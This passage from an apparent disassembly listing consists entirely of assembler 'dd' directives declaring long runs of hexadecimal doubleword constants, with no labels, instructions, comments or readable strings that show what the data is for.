		dd 2EC9F721h, 0F6013C20h, 0BC91B6h, 0E29FA177h,	0EF057151h
		dd 86016B9Dh, 0D008A80Eh, 0DC229C58h, 8B077CBCh, 92404F32h
		dd 2CA496C1h, 0C45C8110h, 1FF491FDh, 0AFA1C8C9h, 7FB774A0h
		dd 0F96F2000h, 76810BB2h, 89C524B9h, 1913404h, 7DB4AFE8h
		dd 50103E40h, 136AA1E8h, 180EFDCh, 5950FB6h, 8535DE52h
		dd 1949BC76h, 1B2CB4A0h, 41A7A2F7h, 0D4566782h,	11124342h
		dd 86C0C9Ah, 3BE1C947h,	0B143C160h, 0AE981E60h,	28930025h
		dd 8022F7Eh, 0B4053D00h, 21B94F29h, 0CC8CFEDh, 5C427B80h
		dd 10B5CF9Ch, 13E0CC88h, 0F116B551h, 11807D0h, 649FA0F6h
		dd 27020EDCh, 5E12206Dh, 4AC044EEh, 0BFC9015h, 0B709AC30h
		dd 98286AFAh, 0B8C0EEA0h, 6ED60035h, 75768A3Fh,	0A0A45CF7h
		dd 6D9D0B05h, 60E08E1Dh, 3869880Ch, 0A8D77B00h,	0C0F26CCBh
		dd 7654F0A4h, 6E461D83h, 1D878469h, 0DDC8F4E5h,	77C96503h
		dd 83756F36h, 732DB815h, 0CA1C0B1Eh, 286878D2h,	901CE52h
		dd 0CFFD0189h, 57C4F3F6h, 0A86F00D1h, 0FC239EF7h, 0BD229D85h
		dd 34AE5818h, 0C7B86FC0h, 650001B4h, 29C023D6h,	140D4B5Dh
		dd 0B438DAE5h, 31807539h, 7707EAA5h, 0B8A680A0h, 8216BF7Ah
		dd 0E800A389h, 0FF1EE227h, 1B1EA95h, 0D1E84EE3h, 443F9D20h
		dd 0BE8C408h, 18D17614h, 268D8580h, 0D3E873h, 455247A2h
		dd 75AE7E3Eh, 250074B8h, 0C84999CDh, 0F8200944h, 6F9E0395h
		dd 80A78898h, 0E56DBB88h, 0F8974B4Ah, 86096180h, 37F20BCCh
		dd 0E01875F3h, 5609D0FDh, 10783A34h, 6E96DCh, 875A899h
		dd 469D1089h, 377208A0h, 0C4B228F8h, 73FBA100h,	1636127Dh
		dd 75F4A804h, 7EE000BEh, 985FB765h, 50B49B55h, 0FA92E343h
		dd 9F42A8h, 0B74E1AFh, 4DF11829h, 0B639992Fh, 600E9826h
		dd 4BBB70Bh, 40C4BC54h,	24AF3082h, 8064BC77h, 2AA624B8h
		dd 55FB383Ch, 98918980h, 84358DBAh, 61296202h, 0C628E7E5h
		dd 82A30154h, 7398FD4Ah, 5990603Dh, 75094577h, 912849F1h
		dd 4C795EB4h, 756469C0h, 8E23C81h, 212AA5E0h, 700A84Fh
		dd 63A26BEh, 0BD6C5F75h, 0DA9EB490h, 0A54EF225h, 40820F4Ch
		dd 4000F607h, 7B63FC8Dh, 8F5E660Fh, 0F01BC0B6h,	0EEC15D32h
		dd 91544ED1h, 4D0504h, 0F510B80h, 0AF49E6E9h, 99299680h
		dd 0A1001E8Bh, 0DB2175E0h, 0FD9E3760h, 882E0h, 9DDD3BEh
		dd 2F383C2Bh, 320E96F2h, 3A84673h, 0C09D8BFEh, 42023Ah
		dd 703D716Dh, 574A8428h, 0FE4B5F79h, 81023048h,	0A45D8E2Dh
		dd 7223CC8Ch, 21603D00h, 95E5336Eh, 6C28009Dh, 0A5784B1Ah
		dd 4C903271h, 3D3FE091h, 0B7BF858Ch, 7C8268F5h,	0F0CC177h
		dd 187473D1h, 51437CCAh, 4DE0CC8Fh, 1483FE0Eh, 24AF0780h
		dd 0BC951277h, 0BE200A04h, 57900ACh, 0BDB93C56h, 29229117h
		dd 3108888h, 1C467DD3h,	0DCE06A9Bh, 703CFC26h, 170E93C4h
		dd 336800D0h, 0F004734Fh, 8E8A01Fh, 93C38836h, 9430199Fh
		dd 53F820h, 0DD359679h,	745F59ADh, 0BE184550h, 5814BFh
		dd 401594E0h, 56D90C6Fh, 614FC400h, 21C870ECh, 32E11299h
		dd 7814A039h, 0C2450202h, 0C490019Eh, 24370758h, 10C3FE4Dh
		dd 30D9216Bh, 8A094B00h, 7E648B8h, 60630096h, 8C7D320h
		dd 0EC1F8702h, 33094414h, 2EA400EFh, 1D0A9371h,	4AC1E49Bh
		dd 6070EC60h, 7DE03DC5h, 91DE960Bh, 147924h, 0D319A38Ch
		dd 28F27593h, 1708102h,	80D0A083h, 5EF12CEEh, 4A634F6Dh
		dd 812C8088h, 0F7DA961Fh, 0E8B97031h, 6CC05496h, 0E6083497h
		dd 11260509h, 0A4E548h,	0E006C5B4h, 0F35C71B4h,	4B751698h
		dd 887148A2h, 2D00AB01h, 49A7CBAh, 75CD69EAh, 39840261h
		dd 411175AFh, 0E0FA18E4h, 45C3300Fh, 0A0B64176h, 11943178h
		dd 4E07F009h, 91CD08F7h, 59C92981h, 77023D0h, 31D0DDC5h
		dd 76D7233Fh, 715F9125h, 0CE00B062h, 8129BFE4h,	0BD28790Eh
		dd 449C8CEAh, 0FE0D5040h, 72AF003Eh, 53BDBCC1h,	7B00F741h
		dd 0BA99201Ah, 0D286A21Dh, 0AE90CCE0h, 6071D0C0h, 0B1210BCDh
		dd 0A9E681D8h, 0CC165B12h, 0B57F406Bh, 4DA49195h, 0C9F5F8EBh
		dd 0FB1B0073h, 9698A540h, 0B61AABECh, 7482B53Bh, 9169228h
		dd 0A8814920h, 0F081237Eh, 5B0105D4h, 1F9FDDE1h, 841CB8Fh
		dd 0E4742737h, 307D4899h, 5580B700h, 95C3F86Ch,	0D9340084h
		dd 65990E77h, 4B2703C8h, 3D6090EEh, 0DBDA00E7h,	6F91C285h
		dd 0C54C3478h, 54206AB8h, 16891408h, 8328E444h,	77483C00h
		dd 0A0EC114Ah, 4B7409C6h, 600F436Bh, 91A3138h, 0AE1ED091h
		dd 0F4D65142h, 10F96Ah,	0A972A698h, 107F0F5Dh, 38F1040Bh
		dd 0C6580003h, 9BF768h,	85FFEDC0h, 49EE445Dh, 0B23AA601h
		dd 0E09811F9h, 0D830B061h, 1ABE0005h, 13692621h, 9B03D943h
		dd 0EB2BEF8Ah, 0F36198E2h, 54496E7h, 0C02C1349h, 0E1212305h
		dd 9940C4Ch, 80791005h,	0AB5391D8h, 4422EDD2h, 46A10D80h
		dd 0CE072B5Bh, 0CB29B8ECh, 68B8D924h, 0D2873502h, 0A8C418BBh
		dd 1E421496h, 219A60D7h
		dd 9ED7377h, 0DC9BC625h, 280268CCh, 0B9D40F66h,	0C004E3FDh
		dd 12693Ah, 35858B71h, 0D1EC926h, 91EA811Eh, 0E798E5D8h
		dd 84B175h, 8A8C5D25h, 0A0041311h, 2203D91Dh, 5C804CACh
		dd 0B2B509FAh, 0BF823000h, 1E1C63A7h, 0F0842806h, 0A8C8AB5Ch
		dd 9493D8CBh, 5810AF18h, 43E29EFCh, 0B04B2709h,	76520292h
		dd 0C89855BDh, 0DC07A1CBh, 0E45BEE1h, 0D4014770h, 0E86F0006h
		dd 389E21FAh, 150092A1h, 0DAAAD527h, 0B347B88h,	31C408C2h
		dd 0C800F473h, 25E443D2h, 9129097Dh, 2C201C54h,	0FB238E95h
		dd 9AAE000h, 0E9A4FC1Eh, 0C4750BEBh, 38C49C52h,	0C91B2B02h
		dd 59ABA0F3h, 0D9403D64h, 17317180h, 1D370FB3h,	812783ECh
		dd 0CA9B58A5h, 0E790B4ADh, 12B86F52h, 50E27611h, 51DB9B00h
		dd 0A4E94740h, 7F28A500h, 0CC7DA1Dh, 78FC34h, 9B589629h
		dd 0F721CB80h, 9CB1A277h, 7F24513Bh, 0F34FC420h, 0F9B1005Eh
		dd 48EB1184h, 94007360h, 4002763Dh, 1C92AB71h, 646F80A0h
		dd 77094024h, 720FE55Ah, 0A29164Bh, 700E083Fh, 0C1324C5Fh
		dd 8180E115h, 4973EF48h, 7F707ABCh, 0B9176000h,	1D9ADE3Dh
		dd 4304B48Dh, 0CB892544h, 9387D9Ch, 4082A1F7h, 0BCA00730h
		dd 98AD40A8h, 5B00EF6Bh, 1CB95754h, 0BF0161h, 0DA1FEE2h
		dd 7B2B4A05h, 41726F00h, 14D9AC90h, 0D076002Eh,	7AE4A03Eh
		dd 0CF58E010h, 40551627h, 206B4804h, 9D812640h,	74909E75h
		dd 24EFD39h, 535C7134h,	8430563Bh, 907D10BFh, 0A999C5B8h
		dd 9155A027h, 8224918h,	403ABB02h, 0E4482624h, 8513BE06h
		dd 60C87409h, 17DA8165h, 1A425654h, 7C543172h, 101D8CE0h
		dd 91AF0011h, 2DFA93F6h, 0C6019F34h, 9E27D7C8h,	3478DB1Eh
		dd 404202C0h, 24B678E9h, 926FFF80h, 0A07061h, 0AB4CDD4Ah
		dd 44E39AA5h, 5369BC00h, 2803CD3Fh, 28BB7539h, 0AC88DE31h
		dd 0E2F103C8h, 0C5EF7E6Eh, 0ACCC9EDBh, 0EEA08E90h, 0C3D460A6h
		dd 39F059h, 49A16DE0h, 0CA10A27Ch, 189F0770h, 86165C30h
		dd 51B47215h, 0E71E18B8h, 7D72B59h, 0A84DF37Bh,	0A88C355Bh
		dd 0D22980C0h, 990BD72h, 706D231Eh, 92C394C0h, 741A20A0h
		dd 0E0BF4A6h, 0C828FEF1h, 0BAE434h, 69FA9A4Dh, 78939DE6h
		dd 0A2B5EC01h, 7AC2043h, 0C75E1C9h, 2828207Eh, 5C13F8F1h
		dd 0D60041FFh, 70948B14h, 8FF23A13h, 663F5E81h,	6396DE84h
		dd 7D0E01A0h, 37A86115h, 5B34D4C2h, 0EEE911E0h,	6D293B0Fh
		dd 1AD02759h, 4AAE0451h, 28482500h, 2446404h, 0E6C51708h
		dd 3FA55480h, 0AD753AD9h, 0E57CFD09h, 0DA00D0F2h, 4DDFA265h
		dd 7D4964h, 4F7C725Ch, 9D18BC03h, 0F200E6E8h, 0F146120Bh
		dd 0EC3BC9h, 890DE74Dh,	0C513A176h, 375AEB7Fh, 16BAC48h
		dd 0CD86720Fh, 40DAC076h, 474574Ch, 0EF7D6D93h,	84891C82h
		dd 82295C4h, 0D89455h, 0B3147DE9h, 6769F627h, 0C0BCC200h
		dd 60A1EED6h, 4F6F0430h, 0ABB9F4C6h, 6A6CFC21h,	96004069h
		dd 18C83C92h, 5E12C201h, 0C0D25C47h, 0AE282060h, 0D000176h
		dd 29D34B7Bh, 135B9594h, 57D23FBh, 0AD3F88F2h, 0EEAD2550h
		dd 0E0B40040h, 815ED80Fh, 0DD000860h, 659D91CCh, 0DE49E7E9h
		dd 88E61038h, 1D00B8EDh, 48C6FBD4h, 8F4C0C43h, 0B15780C8h
		dd 86BC6Dh, 0D0DD6429h,	74D3BEECh, 3E009872h, 37017071h
		dd 0B443CACBh, 174A42BCh, 86770720h, 0C8BE4FDEh, 0B4137000h
		dd 0CA62FE5h, 853BEB00h, 8290FD19h, 7641B660h, 0BB0574h
		dd 87093926h, 31421755h, 6CE894A3h, 0B746DAh, 0A0FE71ACh
		dd 0BB7C0E7Bh, 8600B0EAh, 0E137672h, 0C483660Ah, 9200A81Fh
		dd 0A37D1763h, 0B4A42545h, 1C1D08D9h, 78B49822h, 62BB1289h
		dd 0CB5C0121h, 3AEA5DA4h, 44ACD848h, 95E24019h,	1E4D59Fh
		dd 35E0CEDBh, 355DB6C3h, 0CCA5C014h, 10304F51h,	9B04FB7Ch
		dd 2271D817h, 0E7DC4405h, 0DCA07085h, 90011875h, 0DE8738EFh
		dd 6E21BD22h, 3AE86030h, 0D48A1E44h, 451C0900h,	0D28EEBFDh
		dd 0B4E8200Fh, 0A80C259Ah, 4DD07C5Eh, 879D869h,	0B621433Eh
		dd 0FD956D85h, 0CF08412h, 7548A04Bh, 0B32A28B4h, 8C86C8h
		dd 0A811CB18h, 0FEE762FBh, 67914F0Dh, 0AC30D010h, 0E3BD29A4h
		dd 2A310BACh, 0AAC05h, 56833CD0h, 0E0C84DEEh, 0E0724930h
		dd 0D10BB40Fh, 6B7CC0F3h, 52EA71Ch, 91FB0F78h, 0E7A8B041h
		dd 0C1EA6D31h, 0B832BFC3h, 0EC000F3Bh, 82D924B2h, 8C03A5B9h
		dd 812C6E4Ah, 3389B628h, 43311CE5h, 0DDD9EDD8h,	0AB500701h
		dd 456DD4CAh, 0D248D3CBh, 904E698h, 0EF8549A2h,	17BC645Ch
		dd 8985C53h, 0E8B0086h,	0B97DB7B8h, 0B300612Dh,	0D5FF63B6h
		dd 0AE1D91F4h, 0DE88A260h, 76854920h, 0F022C74Ah, 72E94F5Dh
		dd 61660732h, 0A5C402Fh, 0F06D2D9Bh, 0CC1100E0h, 0D0546251h
		dd 2848748Bh, 0C8012F24h, 41C7A518h, 0A8202B4Fh, 5A4DABh
		dd 7433944Ah, 0DAD1701Ch, 687F5702h, 82C4CD73h,	624CD4CAh
		dd 964667Ch, 0F0F89E25h, 7E3E6C79h, 9CA8CC2Eh, 944CF311h
		dd 20D140DEh, 0EB2B1FEDh, 83306D08h, 13910856h,	0E4270F89h
		dd 364B00C0h, 2B5D692Eh, 0F500D012h, 0B8E89CC2h, 0F0D9876Ah
		dd 8F290553h, 0C46EDEADh, 0A088039Eh, 59214AAFh, 8F0D0019h
		dd 100854C6h, 0E4015925h, 0E73A0068h, 0D999D6E1h, 34485FD4h
		dd 79288488h, 4BE9488h,	0C6D53952h, 0E16C82FEh,	0A168235Fh
		dd 77310FDAh, 91E22934h, 0B053EE8Dh, 68C63A85h,	6E7BD031h
		dd 12804C6Ch, 88BA2B76h, 0E69E2E13h, 0B146531Eh, 4370A955h
		dd 62CD22E5h, 0ADC4F00Fh, 0D10DAE02h, 0FB0E0018h, 2B42B00Bh
		dd 463D0101h, 0D22D1CE1h, 3CE4FEh, 7875F363h, 0AF33DB72h
		dd 1E00F898h, 7343124Fh, 19AB2F9h, 297721ACh, 41760ABDh
		dd 882C0DCh, 733088EFh,	395DB417h, 2CF6DCF5h, 0B8815B0h
		dd 1940601Ch, 147FE887h, 0B443F71Bh, 0DEA28121h, 3074E214h
		dd 84EE92B8h, 0A9570068h, 58BE3643h, 0A5142C25h, 1090A497h
		dd 0BC88B3CDh, 189810AFh, 82EF3C36h, 91CA7782h,	0D0A4DE55h
		dd 6D693173h, 714D230Ch, 0D3DD04F4h, 0C4083BE2h, 0B8B91645h
		dd 0BF62BC01h, 0D4AE0CD0h, 290056C0h, 0A5BB8121h, 0BF03E979h
		dd 87F74C2Fh, 2C99FC60h, 0EC98B724h, 884FF811h,	1E005B9Ch
		dd 4FA3C856h, 325A2DFCh, 0D9900671h, 8110C519h,	0F4B987DEh
		dd 0B920C8A0h, 0C51E745Ch, 0EF43ED19h, 1F0E7C14h, 204FC04Bh
		dd 0B3662779h, 0BC4F6C20h, 1D760097h, 573B90EAh, 11C0BDF3h
		dd 1B44D015h, 0E69F01C1h, 7F372DABh, 9164F83Dh,	7393DC03h
		dd 188A45A2h, 39BBF330h, 7B0039EDh, 0B8BC61B6h,	786B048Eh
		dd 0FF5100EBh, 47328BA2h, 460BF723h, 80EA1C2Fh,	0EE8106FAh
		dd 67780060h, 0D017FA49h, 0A60EDBAh, 0D76DBD21h, 24F00C9h
		dd 1985E11h, 0BE00E34Ah, 6AED3F8Bh, 7568873Bh, 0C49E61BDh
		dd 0DB79F18Ah, 8B1D411Eh, 0E9FABB06h, 4C1C0310h, 3E35C09Bh
		dd 68A498F2h, 11D9428Eh, 0D689007Ah, 983091A7h,	518117Ch
		dd 255E00C3h, 4128CEF1h, 88988BBBh, 86C1B60Ch, 441C4068h
		dd 0A63773ABh, 0BB325948h, 0C5062FF3h, 9103A1D4h, 0A43485A8h
		dd 8600EDCFh, 465B6C56h, 8A100054h, 0A2F5F11Ch,	0A0A0379Bh
		dd 0B8A8BEF3h, 8500CB63h, 252AD4Bh, 18F583C7h, 20239245h
		dd 3EC94E53h, 326F00E7h, 7338D566h, 76931E18h, 691F0C0Ch
		dd 98ACE948h, 48FEA8C8h, 0ED4F00B4h, 682856DEh,	7B670C18h
		dd 0F5F5BA39h, 80D2C611h
		dd 0FA1A0C41h, 0CACAD7Dh, 0B81FA2FEh, 0F00CE3B8h, 29D0AA79h
		dd 49106FD9h, 6885C809h, 0A23F809Fh, 0C100D382h, 2249D184h
		dd 18550E7h, 2B90054Fh,	57B9F355h, 410E5F80h, 7E6A2E20h
		dd 0E439166Ch, 2FD3A0Fh, 84D56523h, 8C78A97Ch, 60983895h
		dd 0F8AE797Eh, 0F97EABACh, 2015C50Fh, 9EE494A6h, 0C1E4B08h
		dd 1AE92751h, 0F84CC8F0h, 0A8C305DAh, 90084FBBh, 0F8266782h
		dd 2522B9h, 50CFFEBDh, 0D7EF8707h, 3667A732h, 0FF784110h
		dd 0DAC622D2h, 901790A0h, 0F40E578Dh, 5D3580D1h, 0FB595E40h
		dd 7AA0BB55h, 0BC6902E6h, 0F2ED4DFEh, 4F2240A4h, 20C0746Ch
		dd 998A182Bh, 1742F971h, 0CC06E00h, 0FF5EA0D9h,	478500D0h
		dd 0F510A822h, 0D3B9E73h, 0EF5A8705h, 0F3234358h, 6A590784h
		dd 0E033E330h, 0FA230D6Bh, 5F651C14h, 44862B84h, 5F108D90h
		dd 85F3188Ah, 0D2BF19h,	653CE6Bh, 168C487Eh, 99A8A303h
		dd 89B2E8BDh, 78239577h, 7554EE0Ah, 81901CA1h, 4EC1C779h
		dd 0A6433A3h, 88F75633h, 4AC8F610h, 0A02274A8h,	636B12D0h
		dd 4D9102E0h, 0C0A00B5Ch, 0E1998604h, 7584501Ch, 4C15A980h
		dd 600BDFh, 839DC8F1h, 70F6C57Bh, 0AE330A13h, 0EE664444h
		dd 2361C80h, 56D60040h,	0BD4E1324h, 4724A270h, 0FA94A406h
		dd 0A408B590h, 6514BE29h, 0EB3A0C9Ch, 6774A844h, 7188A48h
		dd 520CB8E9h, 0EB297Ch,	0D6475429h, 0D517BE9Dh,	2CB0624Dh
		dd 0BB065D9Ch, 64491FF7h, 328A89BDh, 45184C20h,	208045F3h
		dd 0EBA77394h, 0FDF79CA9h, 3E0332Ch, 0EEC8EF99h, 0B75AB25h
		dd 2885D531h, 2C29B400h, 8D004F98h, 77D49AA7h, 99FDA167h
		dd 27211F4h, 301D6E32h,	73D8400Ch, 71EC67AAh, 80A18CF3h
		dd 6FC43604h, 0E8CAB846h, 24510C12h, 60D88C50h,	900112F6h
		dd 0D567F54Ch, 843039E3h, 101D43F0h, 0BA087FC3h, 0BD9316F7h
		dd 7EC83430h, 773D003Eh, 0A7205B65h, 32EAE3ECh,	70561C02h
		dd 0C1BE4E3Fh, 3B0CA090h, 0A08FE388h, 8236F7ACh, 0AF00B466h
		dd 7B512414h, 7E077C48h, 538F705Ah, 3439E0D4h, 0D1729998h
		dd 9B3A32A6h, 36AD0167h, 6F40F9FCh, 50CEE841h, 7A4F309h
		dd 97D1C8E9h, 0A460D7F0h, 3C30F1D3h, 0F3694445h, 887F2942h
		dd 0C022BF1h, 38973F0Fh, 44614050h, 62EF0090h, 9205DE3Ah
		dd 6500D85Bh, 0F419309Fh, 0E0E980h, 63D15E2Eh, 0CC26B33h
		dd 70BE5324h, 66212364h, 4498118Ah, 0CF1E8510h,	60705424h
		dd 1BC17805h, 0B8E6C980h, 0ECF22E1Ch, 0C8511010h, 11704066h
		dd 570C093Ah, 1922E8BBh, 776B1E43h, 88D0E4D0h, 0C60CD5BAh
		dd 91E9D9h, 0EBD04DA9h,	6A547E0Bh, 22099073h, 19234C78h
		dd 5FD4E170h, 0A411C00Eh, 0B8C3872Ch, 36DECC12h, 27A300ABh
		dd 23F63D06h, 21046448h, 182A91A8h, 0B3F986F3h,	0C99E0E24h
		dd 1E005B4Ah, 19070AA2h, 0D621C402h, 40AF1BFAh,	817865F8h
		dd 27DC3298h, 3D60DD0Eh, 0A5123511h, 8434F886h,	9367BC44h
		dd 0A7CA415Fh, 243A3E83h, 9F85BC50h, 179866FEh,	6DA44047h
		dd 0E49F4662h, 0E98094ABh, 0F914A3D7h, 8F8C5017h, 0C96300A4h
		dd 2C706B42h, 3BE80FB6h, 0D404E944h, 480ACBF0h,	196A38D2h
		dd 7CC21438h, 0C2BD2512h, 5E2369BCh, 3C190024h,	0B7552329h
		dd 0C10AAE68h, 143BD9BEh, 0BFA06201h, 94478E0Fh, 21F6D88Dh
		dd 337513D9h, 0F8D02260h, 281DF3Fh, 8523A2FFh, 10B8CC49h
		dd 14A74A3h, 31AB1B41h,	62E9BB01h, 580C0AE4h, 0D741B090h
		dd 0C055A852h, 0BB5B1306h, 51814460h, 0A7391160h, 30B9B4h
		dd 0CA6068B5h, 0D42899A2h, 0F570C016h, 5B67E602h, 4174405Ah
		dd 534484FDh, 800C3036h, 0D9E87079h, 95664000h,	8228A326h
		dd 0CFA7DB4h, 0C9B9072h, 5E4127D8h, 45F1E860h, 6AA1F820h
		dd 8430F203h, 741E2F40h, 0EE811419h, 0CA2CC46Fh, 38F2145Ch
		dd 8272181Fh, 59169B19h, 0D1AB5140h, 3A60C600h,	29EAA3E8h
		dd 4A337A0Eh, 52184868h, 96C8F467h, 6F7432E9h, 3508F719h
		dd 0E021D098h, 54670A14h, 2AFE0814h, 736BBD80h,	58E0C7C4h
		dd 0AA39CC29h, 6DBEFA82h, 0F069E41Dh, 6360316Eh, 4C645810h
		dd 3078226Ch, 6D510D51h, 0C10777A3h, 7B9D478Ch,	0A865ED70h
		dd 6B481605h, 0E95C04DFh, 306E22FCh, 44840104h,	0DA078AD2h
		dd 71A2430Bh, 0ECCBBE14h, 6850BB3Bh, 78B1C6h, 9C58BE1Ah
		dd 922428B3h, 0C010DC8Ah, 0C8B260C8h, 0A4872F81h, 0C86C49D4h
		dd 0E6924C00h, 36AFEE0Ah, 4E03CE4h, 409F516h, 0F34FB48h
		dd 0DC2072D9h, 98A10BD6h, 8BE82441h, 5006111Ch,	0C588BF08h
		dd 7D5E0051h, 0C891CD36h, 0D7F4D660h, 0C76781C0h, 74F19F3h
		dd 0EFFB3163h, 0C15500DCh, 6138BBF6h, 0BE270FD5h, 3698C33Bh
		dd 0A4A8A034h, 0F3B92499h, 6E0C41FCh, 88718E91h, 68723A2h
		dd 1CB0138Ch, 2D006CCCh, 1A086C9Bh, 10AC2C46h, 11FF8428h
		dd 0B9DBC646h, 2188400Eh, 60C72F02h, 0D178AB61h, 75320446h
		dd 8CBF5266h, 5A3553F4h, 1CD00A8Ah, 0F8FE31C1h,	61660067h
		dd 35077762h, 50129EE4h, 4C045D38h, 2482C8C4h, 664119F1h
		dd 64240364h, 347728Bh,	138B5E1h, 0F490CF30h, 5C0080B8h
		dd 8FE54232h, 5B5078h, 46F86B14h, 0C02D24F5h, 0A065BE24h
		dd 20F0CE52h, 0E8B98327h, 0DEB9FB00h, 261D09Eh,	0A3A25F7Fh
		dd 84C768D7h, 26002911h, 0DA2D7D74h, 0AA04D297h, 0A3BB33DCh
		dd 191960C2h, 0BCCC145Ah, 0E11A0065h, 5E745F9Dh, 0D70AA6E6h
		dd 0CCE5F531h, 80882715h, 10C5C25Bh, 0E4F65930h, 87342608h
		dd 8A00DB11h, 0DAB73B37h, 52F02AE7h, 681E0C00h,	4D2B5879h
		dd 0BC0099A2h, 40905525h, 5B00ED68h, 0D99E7158h, 0E7421Ah
		dd 0C0597E82h, 0A5155422h, 10C09B48h, 288890D0h, 0CF4C93B9h
		dd 0AFF8A80Bh, 149748ACh, 5F80E098h, 25BC4C69h,	460085E2h
		dd 91665796h, 17C9D5B8h, 3816E332h, 7C8875F8h, 48B47F18h
		dd 0CE0767F8h, 11781B32h, 237BA2AFh, 0E0172488h, 94BB5967h
		dd 4A3700B0h, 0FC4279FFh, 6800BEB2h, 59CFFB0Fh,	7ACDAEDDh
		dd 998A2693h, 9FD54004h, 0F42E7AE1h, 9A605C27h,	3A1590h
		dd 4A1FC3AEh, 0D7FB89AAh, 8021711Eh, 0C066035Ch, 51158891h
		dd 0B500E80Fh, 5510C991h, 231D0111h, 5F40BEF0h,	4926752h
		dd 99122966h, 0C48A009Ch, 0D0A9BA6Bh, 0A893AE00h, 0CD0CD4BFh
		dd 0EC7308B8h, 68191094h, 0A8346931h, 0C1A44E8h, 0B9835134h
		dd 6F59C831h, 0ABFC0h, 0EEF712C1h, 687D3F11h, 3BA3D448h
		dd 1D3E897Eh, 29B899D8h, 23A4C014h, 382584D0h, 0F0641807h
		dd 70C548D7h, 9FD45D83h, 9D08F698h, 57452B02h, 60B17F1Ch
		dd 8139FE48h, 3100DBC6h, 3EFAF5A4h, 76F3098Ah, 23422C07h
		dd 27BC6ACCh, 0FD099082h, 40665F11h, 50182810h,	9C456700h
		dd 20FAB831h, 6E138436h, 4C016305h, 0A4C25AD6h,	0F4012F83h
		dd 0CA611835h, 0E2009046h, 0FE9BC556h, 0B420E0h, 40897C5Ah
		dd 0B092A016h, 93EFC316h, 0C5BAF849h, 0A7CA81B8h, 807098A4h
		dd 632F4D69h, 0A83780h,	8DDA088Ah, 43571366h, 0F34AC1F2h
		dd 0DF72D844h, 41E12h, 9A6B4306h, 8B7647C8h, 4621EA06h
		dd 4470C391h, 0FC4EBA92h, 199E7472h, 61881050h,	498DF0A8h
		dd 7D22D87Bh, 0F6BFDE03h, 0B8D6412Bh, 25CB5Dh, 0AA33FFD4h
		dd 8A685B30h, 8462FD09h, 0ABC44F6h, 0D7C6C0FBh,	0DDB480E8h
		dd 66D04A17h, 0A62D6702h, 615240B7h, 61FC31E0h,	0E8AE507Dh
		dd 4558861Dh, 8087C8B4h
		dd 0ADF7B727h, 4003532h, 0DB84B5E2h, 2EFCC1B6h,	18F1D7A5h
		dd 0D47390Ch, 0EE663601h, 6B3F3070h, 58698C4h, 0CEFACA8Bh
		dd 0EAE881BCh, 246D0822h, 9DD865C2h, 0D62CE06Ch, 0E8005442h
		dd 9D036EE4h, 418B2763h, 0A579F838h, 10277891h,	6130D0h
		dd 8D1EA9D6h, 0EF567F87h, 72F1E8C2h, 18112F10h,	1641D5C6h
		dd 0EFB00E8Ch, 710F216Dh, 370049AEh, 939BADFBh,	399CC848h
		dd 4486202Ah, 0E50113D2h, 7F4F1C5h, 0C84CDBB8h,	14C35563h
		dd 13C822F4h, 8022514h,	0A164539Ch, 86F0C853h, 76B4000h
		dd 0A20802A3h, 80C4623Ch, 0BD00DFCAh, 4AD49A6Ch, 0F32C724Fh
		dd 9219DC90h, 4463D700h, 53F83569h, 0CEAD0F5Bh,	4865910Ch
		dd 0A768C365h, 0A9D322C4h, 0D0981BB0h, 1CE58142h, 0C0A41EB6h
		dd 195F0DD3h, 0B0002955h, 8DD4CFA0h, 0D4AFFAEAh, 0ED3B8049h
		dd 10F86845h, 4FCC17DCh, 4B861A1h, 2436B325h, 0C5217300h
		dd 2E9C53D1h, 279302E8h, 0A2330A12h, 0BA1E0448h, 808C2C41h
		dd 9C35A7ACh, 6A300F0h,	0B9133EF1h, 0F30884F5h,	1062EBFFh
		dd 825AC83Ch, 0EA2015E3h, 0A0DAD442h, 0A819B242h, 62F391C3h
		dd 0BEE3006Ch, 9F80DF79h, 649200B2h, 5F94852Eh,	563BFE2Ah
		dd 0D73E817Eh, 0DCB22016h, 0BB8AE86Ch, 0BD420174h, 3054B7C0h
		dd 90904330h, 21469930h, 0F3556F1h, 13F790CAh, 0BC847020h
		dd 0D22FD331h, 593C8D69h, 4CB5020h, 4D8B4F17h, 0F9948C20h
		dd 380CEB5Ch, 0E040CF98h, 3943C4B2h, 92E71CA2h,	58140F0Dh
		dd 0D8B490F6h, 0CA01E4F4h, 0E92F05EFh, 9C42BDC9h, 92219F0h
		dd 0EF164C41h, 1C1CB205h, 0A4009F6Eh, 0C137D207h, 5C87590h
		dd 0BAE08DEEh, 4E4A5DBh, 6CA081CAh, 18E9109Ch, 3E61F020h
		dd 0C600BCD4h, 0C00C9DCBh, 2A001455h, 49670FCDh, 14787B4Ch
		dd 0EF7E7A4Dh, 43F06D1Ch, 0E273F73Ah, 0F071EBB9h, 476148E6h
		dd 88EF7908h, 79636C0h,	63C3A772h, 7EB901A6h, 642080F2h
		dd 0AA5288A2h, 765C0178h, 0CCD5F997h, 0DE4180B8h, 36445A18h
		dd 6F700604h, 703398F0h, 79EEFC19h, 60C0CA88h, 23D206DEh
		dd 76A92578h, 52D69800h, 0A1917457h, 134100B4h,	8CA026C1h
		dd 0E1F8CAA7h, 18009998h, 0D43479Dh, 0C37CF9D6h, 0ED767B79h
		dd 6DD5611Bh, 78B7E0D9h, 547C50C8h, 5E698880h, 0DC7BA0A1h
		dd 0D6005CECh, 0BED88625h, 0CA539E7Ah, 911CC4E0h, 0E45918B9h
		dd 937E08h, 0CB2D7C23h,	0FE0BA199h, 65B55B00h, 0C979CAAh
		dd 0FCF83014h, 12990A89h, 0A4FDA000h, 812325F6h, 86B3000Ch
		dd 1BF9DFC2h, 42E19A20h, 0E2213098h, 0E6004159h, 0AE60C25Ch
		dd 5B38F279h, 881348CAh, 4354F507h, 53E26118h, 0EA318403h
		dd 0FC45E5C7h, 1E8C4ED4h, 938B2320h, 0DF0221E2h, 4AB051Ch
		dd 880C40E1h, 4D558831h, 0D2D949C3h, 0D0A7C85Dh, 0C5050E1h
		dd 0A4FF00A3h, 28DFCDFAh, 408847A5h, 0E8110663h, 81F4F9E9h
		dd 7ADAEF02h, 91C3778Eh, 21F66FD0h, 81D15D7Bh, 27A18619h
		dd 39A8F45Fh, 0D3AF0864h, 4C1143C3h, 0F1528607h, 0D0A1309Dh
		dd 750570EBh, 1FDEFBF0h, 9C5B840Ah, 72FC7460h, 6F878055h
		dd 0C8AD3F0Ah, 7114F9ABh, 888C24A0h, 80075342h,	0D6652F7Ch
		dd 146B02BAh, 66588552h, 9171A841h, 7D0C0B28h, 4FE9DD24h
		dd 8D47F400h, 3C3FA177h, 988A6029h, 70D8DA1Ah, 0E9D5FC30h
